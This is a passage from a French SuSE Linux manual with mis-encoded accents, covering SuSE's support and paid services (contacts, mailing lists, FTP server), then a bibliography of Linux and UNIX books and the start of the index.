  35585.         pour la France :                    03 88 329 329
  35586.         hors de France :                    +33 3 88 329 329
  35587.  
  35588.       Traitement des requΩtes               toute la semaine
  35589.  
  35590.   ~   par courrier postal
  35591.  
  35592.       Adresse :                             Arkane Media
  35593.                                             7, Rue Graumann
  35594.                                             F-67000 - Strassbourg
  35595.  
  35596.       Traitement des requΩtes :              toute la semaine
  35597.  
  35598.  
  35599. Nous donnons toujours aux termes Assistance Technique α l'Installation un
  35600. sens trΦs large. Mais vous comprendrez certainement que nous ne pouvons
  35601. pas, pour le prix d'une distribution SuSE      Linux, nous charger de l'adminis-
  35602. tration du rΘseau de votre entreprise. C'est pourquoi nous vous proposons :
  35603.  
  35604.  
  35605.                             http://www.suse.de/fr/support/
  35606.  
  35607.  
  35608. H.3        SuSE        Service Pro
  35609.  
  35610.  
  35611. MΩme lorsqu'un systΦme d'exploitation possΦde toutes les aptitudes nΘces-
  35612. saires, seule  une prise en charge professionnelle et compΘtente en fera une                                       Services
  35613. vΘritable alternative pour le travail quotidien au sein d'une entreprise. SuSE
  35614. garantit ce service pour Linux.
  35615.  
  35616. La compΘtence de notre Θquipe de dΘveloppement et de support ne se limite
  35617. pas  aux  services  inclus  dans  le  prix  de  la  distribution  SuSE     Linux.  C'est
  35618. surtout lors de la mise en pratique de solutions complexes que l'incomparable
  35619. savoir-faire  de  notre  Θquipe  d'experts  Linux  se  rΘvΦle  une  aide  prΘcieuse.
  35620. Qu'il s'agisse de cours de formation, d'installation de matΘriel ou de logiciels,
  35621. de solutions individuelles de maintenance et de support - comment pouvons-
  35622. nous vous aider ?
  35623.  
  35624.  
  35625.                                                                                                                                    *
  35626.  *   561
  35627. H.  Assistance Technique_et_services_de_SuSE______GmbH_____________________________________________________________________________*
  35628.  *_______________________________________@
  35629.  
  35630.  
  35631.  
  35632.                                                          Notre Θquipe est α votre disposition.
  35633.            Services                                                         Contact :
  35634.  
  35635.            facturΘs                      Vous avez d'autres questions au sujet de nos prestations ?
  35636.  
  35637.  
  35638.                              ~   TΘlΘhone
  35639.  
  35640.                                  NumΘro :                              +49 911 740 53 56
  35641.  
  35642.                                                                        du lundi au vendredi de 09h.00 α 17h.00
  35643.  
  35644.                              ~   E-mail
  35645.  
  35646.                                  Adresse :                             bsupport@suse.de
  35647.  
  35648.                              ~   Fax
  35649.  
  35650.                                  NumΘro :                              +49 911 320 67 27
  35651.  
  35652.                              ~   Post
  35653.  
  35654.                                  Adresse :                             SuSE     GmbH
  35655.                                                                        ~ Professional Services ~
  35656.                                                                        SchanzΣckerstr. 10
  35657.                                                                        D-90443 Nⁿrnberg
  35658.  
  35659.                              ~   WWW
  35660.  
  35661.                                  URL :                                 http://www.suse.de/en/support/prof/
  35662.                            ________________________________________________________________________________________________________*
  35663.  *________||
  35664.                            |  Nous attirons votre attention sur le fait que notre Service Pro n'est proposΘ                        *
  35665.  *        ||||
  35666.                            |                                                                                                       *
  35667.  *        |||
  35668.                            |  pour le moment qu'en anglais et en allemand. Nous travaillons actuelle-                              *
  35669.  *        |||
  35670.                            |  ment α la mise sur pied d'un service en langue franτaise mais celui-ci n'est                         *
  35671.  *        |||
  35672.                            |                                                                                                       *
  35673.  *        |||
  35674.                            |  pas encore disponible au moment de la mise sous presse du prΘsent manuel.                            *
  35675.  *        |||
  35676.                            |_______________________________________________________________________________________________________*
  35677.  *________|||_
  35678.  
  35679.  
  35680.                            H.3.1       Projets individuels et consultation
  35681.  
  35682.                            Vous  souhaitez  mettre  en  oeuvre  SuSE     Linux  dans  votre  entreprise.  Nous
  35683.                            pouvons vous conseiller avec compΘtence et vous proposer des solutions qui
  35684.                            vous permettront d'utiliser Linux avec le maximum de profit.
  35685.  
  35686.                            En tant que distributeurs Linux de la premiΦre heure, nous possΘdons, dans le
  35687.                            domaine de la mise en fonction de serveurs Linux, une grande expΘrience α la-
  35688.                            quelle vient s'ajouter l'expΘrience de nos consultants. Tirez parti des connais-
  35689.                            sances de nos experts afin de rΘaliser vos projets avec succΦs. C'est notre po-
  35690.                            lyvalence qui fait notre force. Qu'il s'agisse de bases de donnΘes, de concepts
  35691.                            de sΘcuritΘ, de connexions α Internet ou de la mise en rΘseau d'une entreprise :
  35692.                            Linux constitue avec les logiciels appropriΘs une puissante plate-forme pour
  35693.                            vos applications.
  35694.  
  35695.                            Nos offres de services s'Θtendent de la conception, implΘmentation et confi-
  35696.                            guration de systΦmes de serveurs jusqu'α l'assistance α la mise en place d'une
  35697.                            infrastructure complΦte.
  35698.  
  35699.                            Vous  souhaitez  par  exemple  Θtablir  votre  prΘsence  sur  Internet  en  prenant
  35700.                            comme base SuSE     Linux et il vous faut une solution adΘquate pour le serveur
  35701.                            Web, le courrier Θlectronique et une connexion Internet fiable et sΘcurisΘe ?
  35702.                            Nos  consultants  systΦme  collaboreront  avec  vous  pour  concevoir  et  implΘ-
  35703.                            menter la solution qui convient.
  35704.  
  35705.  
  35706. 562
  35707.        ___________________________________________________________________________________________________________H.4.__Formation__*
  35708.  *______________________
  35709.  
  35710.  
  35711.  
  35712. Vous Ωtes responsable d'un rΘseau hΘtΘrogΦne complexe et vous souhaitez in-
  35713. tΘgrer Linux ? Nous vous conseillerons et vous assisterons lors de la concep-
  35714. tion et de la mise en pratique de solutions de serveurs complexes.
  35715.  
  35716. Vous avez des exigences particuliΦres qui ne peuvent pas Ωtre couvertes par
  35717. les logiciels standards ? Nous pouvons vous apporter une aide avec des dΘve-
  35718. loppements sur mesure.
  35719.  
  35720. Nous avons, outre notre centre de support et de dΘveloppement α Nuremberg,
  35721. des centres de services α Hambourg, Bonn, Stuttgart, Francfort et Munich.
  35722.  
  35723.   ~   Services pour l'implΘmentation et la mise en oeuvre
  35724.  
  35725.   ~   Assistance α la mise en place d'infrastructures
  35726.  
  35727.   ~   Solutions de serveurs Intranet
  35728.  
  35729.   ~   Solutions de serveurs Internet
  35730.  
  35731.   ~   DΘveloppement d'adaptations spΘcifiques au client
  35732.  
  35733.   ~   Solutions complΦtes
  35734.  
  35735.   ~   E-Commerce
  35736.  
  35737.  
  35738. H.4        Formation
  35739.  
  35740. Nos  spΘcialistes forment des administrateurs systΦme et des programmeurs                                          Formation
  35741. de  telle  maniΦre  que  ceux-ci  sont  capables,  en  trΦs  peu  de  temps,  de  tirer
  35742. parti des vastes ressources de Linux ~ et de rΘaliser ainsi un travail productif.
  35743. Informez-vous  sur  nos  offres  de  formations  :  http://www.suse.de/de/
  35744. support/training/.
  35745.  
  35746.  
  35747.  
  35748. H.5        Vos rΘactions
  35749.  
  35750. Nous  sommes  toujours  heureux  de  recevoir  des  commentaires  et  des  des-
  35751. criptions de problΦmes. Nous vous aidons volontiers lorsque le problΦme est
  35752. d'ordre fondamental ou lorsque nous avons dΘjα une solution α vous proposer.
  35753. Vos rΘactions nous permettent en tout cas de remΘdier α ce problΦme dans les
  35754. versions ultΘrieures ou de mettre l'information que vous nous avez fournie α
  35755. la disposition d'autres utilisateurs SuSE     Linux, par exemple via WWW.
  35756.  
  35757. D'autre part, nous nous efforτons de construire un systΦme SuSE      Linux qui
  35758. rΘponde  le  plus  possible  α  l'attente  de  notre  clientΦle.  C'est  pourquoi  nous
  35759. sommes toujours α l'Θcoute des critiques qui pourraient nous parvenir au sujet
  35760. du CD ou du manuel et nous acceptons volontiers les suggestions concernant
  35761. de  futurs  projets.  Nous  pensons  que  c'est  le  meilleur  moyen  de  prΘvenir  α
  35762. temps des erreurs dans le dΘveloppement et de conserver ainsi α Linux son
  35763. haut niveau de qualitΘ.
  35764.  
  35765. Vous pouvez nous faire connaεtre α tout moment vos rΘactions par E-mail α
  35766. feedback@suse.de.
  35767.  
  35768.  
  35769.  
  35770. H.6        Autres services
  35771.  
  35772. Nous souhaitons, par ailleurs, attirer votre attention sur les services gratuits
  35773. qui sont α votre disposition 24 heures sur 24 :
  35774.  
  35775.  
  35776.                                                                                                                                    *
  35777.  *   563
  35778. H.  Assistance Technique_et_services_de_SuSE______GmbH_____________________________________________________________________________*
  35779.  *_______________________________________@
  35780.  
  35781.  
  35782.  
  35783.                              ~   SuSE     WWW-Server
  35784.                                  http://www.suse.de/fr/
  35785.  
  35786.                                  Informations  actuelles,  catalogue,  service  de  commande,  formulaire  de
  35787.                                  demande d'Assistance Technique, base de donnΘes support (SDB)
  35788.  
  35789.                              ~   Listes de diffusion SuSE       (Groupes d'information et de discussion via
  35790.                                  E-mail) :
  35791.  
  35792.                                  ~   suse-announce@suse.com ~ Annonces et infos de SuSE     GmbH (alle-
  35793.                                      mand)
  35794.  
  35795.                                  ~   suse-announce-e@suse.com ~ Annonces et infos de SuSE     GmbH (an-
  35796.                                      glais)
  35797.  
  35798.                                  ~   suse-linux@suse.com  ~  Discussions  autour  de  la  distribution  SuSE
  35799.                                      Linux (allemand)
  35800.  
  35801.                                  ~   suse-axp@suse.com ~ SuSE     Linux sur processeurs Alpha (en anglais)
  35802.  
  35803.                                  ~   suse-linux-e@suse.com ~ Discussions autour de la distribution SuSE
  35804.                                      Linux (anglais)
  35805.  
  35806.                                  ~   suse-isdn@suse.com ~ ISDN avec SuSE     Linux
  35807.  
  35808.                                  ~   suse-adabas@suse.com  ~  Infos  et  discussions  au  sujet  de  Adabas-D
  35809.                                      sous SuSE     Linux
  35810.  
  35811.                                  ~   suse-applix@suse.com ~ ╔change d'informations sur le paquetage Ap-
  35812.                                      plixware de SuSE     GmbH
  35813.  
  35814.                                  ~   suse-informix@suse.com  ~  Infos  et  discussions  sur  Informix  sous
  35815.                                      SuSE     Linux
  35816.  
  35817.                                  ~   suse-oracle@suse.com  ~  Infos  et  discussions  su  sujet  d'Oracle  sous
  35818.                                      SuSE     Linux (en anglais)
  35819.  
  35820.                                  Pour  recevoir  rΘguliΦrement  les  annonces,  envoyez  nous  simplement
  35821.                                  un  message  par  E-mail  α  majordomo@suse.com  avec  la  commande
  35822.                                  subscribe         dans le corps du message : subscribe  <liste>                 , le sujet
  35823.                                  n'a qu'une importance secondaire. Exemple :
  35824.                                       subscribe  suse-announce
  35825.  
  35826.                                  Il est tout aussi simple de rΘsilier votre abonnement α la liste si vous ne
  35827.                                  souhaitez plus la recevoir. Envoyez de nouveau un message par E-mail α
  35828.                                  majordomo@suse.com :
  35829.                                       unsubscribe  suse-announce
  35830.  
  35831.                                  Veillez  α  ce  que  la  commande  unsubscribe           soit  exΘcutΘe  avec  votre
  35832.                                  adresse E-mail correcte.
  35833.  
  35834.                              ~   SuSE     ftp-Server
  35835.  
  35836.                                  ftp://ftp.suse.com
  35837.  
  35838.                                  Informations actuelles, mises α jours et corrections d'erreurs (bugfixes).
  35839.  
  35840.                                  Connectez-vous sur le systΦme en tant qu'utilisateur `ftp'.
  35841.  
  35842.  
  35843.  
  35844. 564
  35845.  
  35846.  
  35847.  
  35848.                                                                                       Bibliographie
  35849.  
  35850.  
  35851. [Alm96]           Almesberger,  Werner  :   LILO  User's  guide,  1996.  ~   (voir  fichier  /usr/doc/
  35852.                   lilo/user.dvi)
  35853.  
  35854. [Bai97]           Bailey, Edward C. :  Maximum RPM.  Red Hat, 1997. ~  (ISBN 1-888172-78-9)
  35855.  
  35856. [BBD+  97]        Beck, Michael ; B÷hme, Harald ; Dziadzka, Mirko ; Kunitz, Ulrich ; Magnus,
  35857.                   Robert ; Verworner, Dirk :  Linux-Kernel-Programmierung.  4.  Addison Wesley
  35858.                   GmbH, 1997. ~  (ISBN 3-8273-1144-6)
  35859.  
  35860. [BD98]            Borkner-Delcarlo, Olaf : Linux im kommerziellen Einsatz. Carl Hanser Verlag,
  35861.                   1998. ~  (ISBN 3-446-19465-7)
  35862.  
  35863. [BD99]            Borkner-Delcarlo,  Olaf  :   Das  Samba-Buch.   SuSE  Press,  1999.  ~   (ISBN
  35864.                   3-930419-93-9)
  35865.  
  35866. [CAR93]           Costales, Bryan ; Allman, Eric ; Rickert, Neil :  sendmail.  O'Reilly & Asso-
  35867.                   ciates, Inc., 1993. ~  (ISBN 1-56592-056-2)
  35868.  
  35869. [CB96]            Cheswick, William R. ; Bellovin, Steven M. :  Firewalls und Sicherheit im In-
  35870.                   ternet.  Addison Wesley GmbH, 1996. ~  (ISBN 3-89319-875-x)
  35871.  
  35872. [CR91]            Cameron, Debra ; Rosenblatt, Bill :  Learning GNU Emacs.  O'Reilly & Asso-
  35873.                   ciates, Inc., 1991. ~  (ISBN 0 937175-84-6)
  35874.  
  35875. [CZ96]            Chapman ;  Zwicky  :   Einrichten  von  Internet  Firewalls.  Sicherheit  im  Internet
  35876.                   gewΣhrleisten..  O'Reilly & Associates, Inc., 1996. ~  (ISBN 3-930673312)
  35877.  
  35878. [DR98]            Dawson, Terry ; Rubini, Alessandro : NET-3 HOWTO, v1.4, 1998. ~ ((voir fichier
  35879.                   /usr/doc/howto/en/NET-3-HOWTO.gz)
  35880.  
  35881. [DR99]            Dawson, Terry ; Rubini, Alessandro : NET3-4 HOWTO, v1.5, 1999. ~ (voir fichier
  35882.                   /usr/doc/howto/en/NET3-4-HOWTO.gz)
  35883.  
  35884. [EH98]            Eckel, George ; Hare, Chris :  Linux ~ Internet Server.  Carl Hanser Verlag, 1998.
  35885.                   ~  (ISBN 3-446-19044-9)
  35886.  
  35887. [FCR93]           Fang,  Chin ;  Crosson,  Bob ;  Raymond,  Eric  S.  :   The  Hitchhiker's  Guide  to
  35888.                   X386/XFree86 Video Timing (or, Tweaking your Monitor for Fun and Profit), 1993.
  35889.                   ~  (voir fichier /usr/X11/lib/X11/doc/VideoModes.doc)
  35890.  
  35891. [Fri93]           Frisch,  ╞leen  :   Essential  System  Administration.   O'Reilly  &  Associates,  Inc.,
  35892.                   1993. ~  (ISBN 0-937175-80-3)
  35893.  
  35894. [Gil92]           Gilly, Daniel : UNIX in a nutshell : System V Edition. O'Reilly & Associates, Inc.,
  35895.                   1992. ~  (ISBN 1-56592-001-5)
  35896.  
  35897. [GMR97]           Goossens, Michel ; Mittelbach, Frank ; Rahtz, Sebastian : TheALTEX Graphics
  35898.                   Companion.  Addison Wesley Longman, 1997. ~  (ISBN 0-201-85469-4)
  35899.  
  35900.  
  35901.                                                                                                                                    *
  35902.  *   565
  35903. Bibliographie     _________________________________________________________________________________________________________________*
  35904.  *_______________________________________@
  35905.  
  35906.  
  35907.  
  35908. [GMS94]          Goossens, Michel ; Mittelbach, Frank ; Samarin, Alexander : TheALTEX Com-
  35909.                  panion.  Addison Wesley GmbH, 1994. ~  (ISBN 0-201-54199-8)
  35910.  
  35911. [GMS96]          Goossens,  Michel ;  Mittelbach,  Frank ;  Samarin,  Alexander  :   Der ALTEX-
  35912.                  Begleiter.  Addison Wesley GmbH, 1996. ~  (ISBN 3-89319-646-3)
  35913.  
  35914. [Gri94]          Grieger,  W.  :   Wer  hat  Angst  vorm  Emacs ?.   Addison  Wesley  GmbH,  1994.  ~
  35915.                  (ISBN 3-89319-620-X)
  35916.  
  35917. [GS93]           Garfinkel,  Simson ;  Spafford,  Gene :   Practical UNIX Security.   O'Reilly &
  35918.                  Associates, Inc., 1993. ~  (ISBN 0-937175-72-2)
  35919.  
  35920. [Hei96]          Hein,  Jochen  :    Linux-Companion  zur  Systemadministration.    Addison  Wesley
  35921.                  GmbH, 1996. ~  (ISBN 3-89319-869-5)
  35922.  
  35923. [Her92]          Herold, H. : UNIX Grundlagen. Addison Wesley GmbH, 1992. ~ (ISBN 3-89319-
  35924.                  542-8)
  35925.  
  35926. [HHMK96]         Hetze, Sebastian ; Hohndel, Dirk ; Mⁿller, Martin ; Kirch, Olaf :  Linux An-
  35927.                  wenderhandbuch.  6.  LunetIX Softfair, 1996. ~  (ISBN 3-929764-05-9)
  35928.  
  35929. [Hof97]          Hoffmann, Erwin :  EMail-Gateway mit qmail.  In : iX  12 (1997), S. 108ff
  35930.  
  35931. [HR98]           H÷lzer, Matthias ; R÷hrig, Bernhard :  KDE ~ Das K Desktop Environment.  1.
  35932.                  Computer & Literatur, 1998. ~  (ISBN 3-932311-50-7)
  35933.  
  35934. [HST97]          Holz, Helmut ; Schmitt, Bernd ; Tikart, Andreas :  Linux fⁿr Internet & Intra-
  35935.                  net.  International Thomson Publishing, 1997. ~  (ISBN 3-8266-0342-7)
  35936.  
  35937. [Hun95]          Hunt, Craig : TCP/IP Netzwerk Administration. O'Reilly & Associates, Inc., 1995.
  35938.                  ~  (ISBN 3-930673-02-9)
  35939.  
  35940. [JT98]           Johnson, Michael K. ; Troan, Erik W. :  Anwendungen entwickeln unter Linux.
  35941.                  Addison Wesley GmbH, 1998. ~  (ISBN 3-8273-1449-6)
  35942.  
  35943. [Kie95]          Kienle, Micheal :  TIS : Toolkit fⁿr anwendungsorientierte Firewall-Systeme.  In :
  35944.                  iX  8 (1995), S. 140ff
  35945.  
  35946. [Kir95]          Kirch, Olaf : LINUX Network Administrator's Guide. O'Reilly & Associates, Inc.,
  35947.                  1995. ~  (ISBN 1-56592-087-2)
  35948.  
  35949. [Kof97]          Kofler, Michael :  Linux ~ Installation, Konfiguration, Anwendung.  3.  Addison
  35950.                  Wesley GmbH, 1997. ~  (ISBN 3-8273-1304-X)
  35951.  
  35952. [Kop94]          Kopka, Helmut :  ALTEX-Einfⁿhrung.   Addison Wesley GmbH, 1994. ~   (ISBN 3-
  35953.                  89319-664-1)
  35954.  
  35955. [Kopff]          Kopka, Helmut :ALTEX. Addison Wesley GmbH, 1996 ff.. ~ 3 Bde. (ISBN 3-8273-
  35956.                  1025-3 ; 3-8273-1229-9 ; 3-89319-666-8)
  35957.  
  35958. [Kun95]          Kunitz, Ulrich : Sicherheit fast kostenlos : Einrichtung eines kostenlosen Firewall-
  35959.                  Systems.  In : iX  9 (1995), S. 176ff
  35960.  
  35961. [Lam90]          Lamb, Linda :  Learning the vi Editor.  O'Reilly & Associates, Inc., 1990. ~  (ISBN
  35962.                  0-937175-67-6)
  35963.  
  35964. [Lef96]          Leffler, Sam :  HylaFAX Home Page, 1996
  35965.  
  35966. [Moh98]          Mohr,  James  :   UNIX-Windows-Integration.   International  Thomson  Publishing,
  35967.                  1998. ~  (ISBN 3-8266-4032-2)
  35968.  
  35969. [OT92]           O'Reilly,  Tim ;  Todino,  Grace  :   Managing  UUCP  and  Usenet.   O'Reilly  &
  35970.                  Associates, Inc., 1992. ~  (ISBN 0-937175-93-5)
  35971.  
  35972.  
  35973. 566
  35974.        _______________________________________________________________________________________________________________Bibliographie*
  35975.  *______________________
  35976.  
  35977.  
  35978.  
  35979. [Per94]           Perlman,  G.  :   Unix  For  Software  Developers.   Prentice-Hall,  1994.  ~   (ISBN
  35980.                   13-932997-8)
  35981.  
  35982. [POL97]           Peek, Jerry ; O'Reilly, Tim ; Loukides, Mike :  Unix Power Tools.  2.  Sebasto-
  35983.                   pol : O'Reilly & Associates, Inc., 1997
  35984.  
  35985. [Pug94]           Pugh, K. : UNIX For The MS-DOS User. Prentice-Hall, 1994. ~ (ISBN 13-146077-
  35986.                   3)
  35987.  
  35988. [Rub98]           Rubini, Alessandro :  Linux-GerΣtetreiber.  O'Reilly & Associates, Inc., 1998. ~
  35989.                   (ISBN 3-89721-122-X)
  35990.  
  35991. [SB92]            Schoonover, M. ; Bowie, J. :   GNU Emacs.   Addison Wesley GmbH, 1992. ~
  35992.                   (ISBN 0-201-56345-2)
  35993.  
  35994. [Sch98]           Scheiderer, Jⁿrgen : Sicherheit Kostenlos - Firewall mit Linux. In : iX  12 (1998)
  35995.  
  35996. [Sto98]           Stoll, Clifford : Kuckucksei ; Die Jagd auf die deutschen Hacker, die das Pentagon
  35997.                   knackten.  Fischer-TB.-Vlg., 1998. ~  (ISBN 3596139848)
  35998.  
  35999. [The96]           The  XFree86TM  -Team  :   XF86Config(4/5)  -  Configuration  File  for  Xfree86TM  ,
  36000.                   1996. ~  Manual-Page zu XFree86TM
  36001.  
  36002. [tif]
  36003.  
  36004. [TSP93]           Todino, Grace ; Strang, John ; Peek, Jerry :  Learning the UNIX operating sys-
  36005.                   tem.  O'Reilly & Associates, Inc., 1993. ~  (ISBN 1-56592-060-0)
  36006.  
  36007. [Wel94]           Welsh, Matt :  Linux Installation and Getting Started.  2.  SuSE GmbH, 1994. ~
  36008.                   (ISBN 3-930419-03-3)
  36009.  
  36010. [WK95]            Welsh,  Matt ;  Kaufman,  Lars  :   Running  Linux.   O'Reilly  &  Associates,  Inc.,
  36011.                   1995. ~  (ISBN 1-56592-100-3)
  36012.  
  36013. [WK98]            Welsh, Matt ; Kaufman, Lars :  Linux ~ Wegweiser zur Installation & Konfigura-
  36014.                   tion.  2.  O'Reilly & Associates, Inc., 1998. ~  (ISBN 3-930673-58-4)
  36015.  
  36016. [WWH98]           Witherspoon, Craig ; Witherspoon, Coletta ; Hall, Jon : Linux fⁿr Dummies.
  36017.                   1.  International Thomson Publishing, 1998. ~  (ISBN 3-8266-2725-3)
  36018.  
  36019.  
  36020.  
  36021.                                                                                                                                    *
  36022.  *   567
  36023. Bibliographie     _________________________________________________________________________________________________________________*
  36024.  *_______________________________________@
  36025.  
  36026. 568
  36027.  
  36028.  
  36029.  
  36030.                                                                                                                      Index
  36031.  
  36032.  
  36033.  
  36034. Symboles                                         /etc/resolv.conf   . . . . 454                      AHA-274x   . . . . . . . . . .*
  36035.  * . 372
  36036. .susefaxrc                                       /opt  . . . . . . . . . . . . . . . . . . . . 68    AHA-284x   . . . . . . . . . .*
  36037.  * . 372
  36038.    SuSEFax  . . . . . . . . . . . . . 212        RPM (rpm  )  . . . . . . . . . . . . . 525          AHA-294x   . . . . . . . . . .*
  36039.  * . 372
  36040. .susephone                                       kdm   . . . . . . . . . . . . . . . . . . . 460  Adaptec 2920   . . . . . . 375, 3*
  36041.  *84
  36042.    SuSEFax  . . . . . . . . . . . . . 212        xdm   . . . . . . . . . . . . . . . . . . . 460  Adaptive Answer Support
  36043. /bin   . . . . . . . . . . . . . . . . . . . . . 73SuSE  DyDe   . . . . . . . . . . . . 271          HylaFAX  . . . . . . . . . . .*
  36044.  * . . 227
  36045. /etc/conf.modules  . . . voir                    XFree86  . . . . . . . . . . . . . . . . 4, 5    Administrateur systΦme  . . 511
  36046.       /etc/modules.conf                          systΦme X Window  . voir X11                     Administration
  36047. /etc/fstab  . . . . . . . . . . . . . 93         YaST                                                Groupes  . . . . . . . . . . .*
  36048.  * . . . 112
  36049. /etc/inittab   . . . . . . . . . 445                PremiΦre installation  . . . . 33                Utilisateurs  . . . . . . . . *
  36050.  *. . . 111
  36051. /etc/modules.conf   . . . 361                    YaST   . . . . . . . . . . . . . . . . . 5, 43      YaST   . . . . . . . . . . . .*
  36052.  * . . . . 100
  36053. /etc/ppp/ppp-down   . . . . . . 199              1024 cylindres                                   Adresse de passerelle  . . . . 156
  36054. /etc/printcap   . . . . . . . . . . . . 338         LILO problΦmes   . . . . . . 139              Adresse de rΘseau   . . . . . . .*
  36055.  * 163
  36056. /etc/rc.config   . . 114, 451                    1TR6   . . . . . . . . . . . . . . . . . . 176   Adresse IP  . 86, 155, 156, 163,
  36057. /etc/undo`harden`suse  . . . 474                 3COM 3c501  . . . . . . . . . . . 385                  511
  36058. /sbin/SuSEconfig  . . . . . . . . 450            3COM 3c503  . . . . . . . . . . . 385               dynanique  . . . . . . . . . .*
  36059.  * . . 455
  36060. /sbin/init   . . . . . . . . . . . . . . . 445   3COM 3c505  . . . . . . . . . . . 385            Adresse IP dynamique  . . . 455
  36061. /sbin/init.d/nfsserver  . . . . . 167            3COM 3c507  . . . . . . . . . . . 385            ADSL  . . . . . . . . . . . . . .*
  36062.  * . . . . 189
  36063. /sbin/init.d/rc   . . . . . . . . . . . 448      3COM 3c509  . . . . . . . . . . . 385            Advanced Power Management
  36064. /sbin/init.d/rpc   . . . . . . . . . . 167       3COM 3c515  . . . . . . . . . . . 385                  voir APM, voir APM
  36065. /usr/sbin/harden`suse  . . . . 474               3COM 3c579  . . . . . . . . . . . 385            AdvanSys   . . . . . . . . . . . *
  36066.  *. . . 373
  36067. /usr/sbin/routed   . . . . . . . . . 164         3COM33c590CO.M.3.c.9.0.0. ........385.... . . . 385AfterStep  . . . . . . 267, 282*
  36068.  *, 283
  36069. ╔diteur  . . . . . . . . . . . . . . . . . 514   3COM3c503  . . . . . . . . . . . . 379           aic7xxx   . . . . . . . . . . . .*
  36070.  * . . . . 373
  36071.    SuSEFax  . . . . . . . . . . . . . 218        3dpixm   . . . . . . . . . . . . . . . . 285     Aide   . . . . . voir KDE, systΦme
  36072. ╔tat du systΦme   . . . . . . . . . 496          3dpixms   . . . . . . . . . . . . . . . 285            d'aide, 458, 541, 542
  36073. Θcran virtuel  . . . . . . . . . . . . 262                                                           FAQ   . . . . . . . . . . . . *
  36074.  *. . . . . . . 9
  36075. Applixware   . . . . . . . . . . . . 460         A                                                   HowTo  . . . . . . . . . . . .*
  36076.  * . . . . . 9
  36077. Applixware   . . . . . 67, 69, 407               a2ps  . . . . . . . . . . . . . . . 340, 341        Hypertexte  . . . . . . . . . *
  36078.  *. . . . . 8
  36079. reboot       . . . . . . . . . . . . . . . . 460 aaa_base  . . . . . . . . . . . . . . 413           Livres  . . . . . . . . . . . *
  36080.  *. . . . . . 10
  36081. shutdown         . . . . . . . . . . . . . . 460 Acheter un PC   . . . . . . . . . . 433             Page de man   . . . . . . . . *
  36082.  *. . . . 9
  36083. LILO   . . . . . . . . . . . . . . . . . . 104   Acronyme  . . . . . . . . . . . . . . 511           README   . . . . . . . . . . .*
  36084.  * . . . 9
  36085.    ╔lΘments  . . . . . . . . . . . . . 121       Adabas  . . . . . . . . . . . . . . . . . 460       Texinfo  . . . . . . . . . . .*
  36086.  * . . . . . . 9
  36087.    Configuration  . . . . . . . . . 123          Adabas D  . . . . . . . . . . . . . . . . . 6    AIRCOP   . . . . . . . . . . . . *
  36088.  *. . . 121
  36089.    Interface   . . . . . . . . . . . . . 121     Adaptateurs de terminaux                         Ajouter un utilisateur
  36090.    O∙ peut-il Ωtre installΘ ?  121                     ISDN   . . . . . . . . . . . . . . 195        DifficultΘs  . . . . . . . . .*
  36091.  * . . . 161
  36092.    Qu'est-ce que c'est  . . . . 120              Adaptec                                          Alias  . . . . . . . . . . . . . *
  36093.  *. . . . . . 511
  36094. LILO   . . . . . . . . . . . . . . . . . . 137      AHA-152x/151x/1505   372,                     alien      . . . . . . . . . . . *
  36095.  *. . . . . . . 421
  36096. /etc/host.conf  . . . . . . . 454                      384                                        Alien   . . . . . . . . . . . . .*
  36097.  * . . . . . 421
  36098. /etc/hosts  . . . . . . . . . . . . 454             AHA-154x   . . . . . . . . . . . 372          allowed   . . . . . . . . . . . .*
  36099.  * . . . 346
  36100.  
  36101.  
  36102.                                                                                                                                    *
  36103.  *   569
  36104. Index             _________________________________________________________________________________________________________________*
  36105.  *_______________________________________@
  36106.  
  36107.  
  36108.  
  36109. AM53/79C974  . . . . . . . . . . 373                Commerciale   . . . . . . . . . 561           boot.sys  . . . . . . . . . . . .*
  36110.  * . . . . 120
  36111. AMD 53/79C974  . . . . . . . . 373                  E-Mail  . . . . . . . . . . . . . . . 559     Boutons de la souris  . . . . . 2*
  36112.  *52
  36113. AMD Athlon / Intel Pentium                          Horaires  . . . . . . . . . . . . . . 560     Bowman   . . . . . . 267, 282, 283
  36114.       III   . . . . . . . . . . . . . . . . . 364   Installation   . . . . . . . . . . . 557      BSD  . . . . . . . . . . . . . . *
  36115.  *. . . . . 500
  36116. AmigaOS   . . . . . . . . . . . . . . 526           Le chemin le plus court qui                   bttv  . . . . . . . . . . . . . .*
  36117.  * . . . . . 315
  36118. Amorτage  . . . . . . . . . . 483, 511                 mΦne α l'aide  . . . . . . . 559           Buffer  . . . . . . . . . . . . .*
  36119.  * . . . . . 512
  36120.    Concepts  . . . . . . . . . . . . . 119          Ligne de dΘpannage   . . . 560                Bureau
  36121.    Disque virtuel initial  . . . 424                NumΘros de tΘlΘphone   560,                      ArriΦre-plan   . . . . . . . .*
  36122.  * . . 278
  36123.    Linux initial   . . . . . . . . . . . 51            563                                           CaractΦres  . . . . . . . . . *
  36124.  *. . . 279
  36125.    ProcΘdure   . . . . . . . . . . . . 117          Service Pro  . . . . . . . . . . . 561           Configuration  . . . . . . . .*
  36126.  * . 286
  36127. Amorcer   . . . . . . . . . . . . . . . 537         Services   . . . . . . . . . 561, 563            Couleurs   . . . . . . . . . .*
  36128.  * . . . 279
  36129.    α partir du CD2   . . . . . . . . 56          AT1700   . . . . . . . . . . . . . . . . 385        Curseur   . . . . . . . . . . *
  36130.  *. . . . 281
  36131.    MΘcanisme d'amorτage avec                     ATAPI   . . . . . . . . . . . . . . . . . 511       Ic⌠nes  . . . . . . . . . . . *
  36132.  *. . . . . 280
  36133.       loadlin   . . . . . . . . . . . . . 143    atd  . . . . . . . . . . . . . . . . . . . . . 458  Polices  . . . . . . . . . . .*
  36134.  * . . . . 279
  36135.    MΘthodes  . . . . . . . . . . . . . . 44      attaque par dΘni de service  471__               Bus local Vesa   . . . . . . . . *
  36136.  *. . . 64
  36137. Andrew Tridgell   . . . . . . . . 229            attaques de lhomme au milieu                     BusLogic  . . . . . . . . . . . .*
  36138.  * . . . 374
  36139. Annuaire                                               470__
  36140.    SuSEFax  . . . . . . . . . . . . . 218        Authentification  . . . . . . . . . 411          C
  36141. apache   . . . . . . . . . . . . . . . . . 436   autoexec.bat   . . . . . . . . . . . . 143       C  . . . . . . . . . . . . . . . *
  36142.  *. . . . . . . 359
  36143. apache   . . . . . . . 415, 435, 470             autoexec.bat   . . . . . . . . . 449             C News   . . . . . . . . . . . . *
  36144.  *. . . . 410
  36145. Apache  . . . . . . . . . . . . . . . . . 423    autofs  . . . . . . . . . . . . . . . . . . 457  Cabletron E21xx  . . . . . . . . *
  36146.  *385
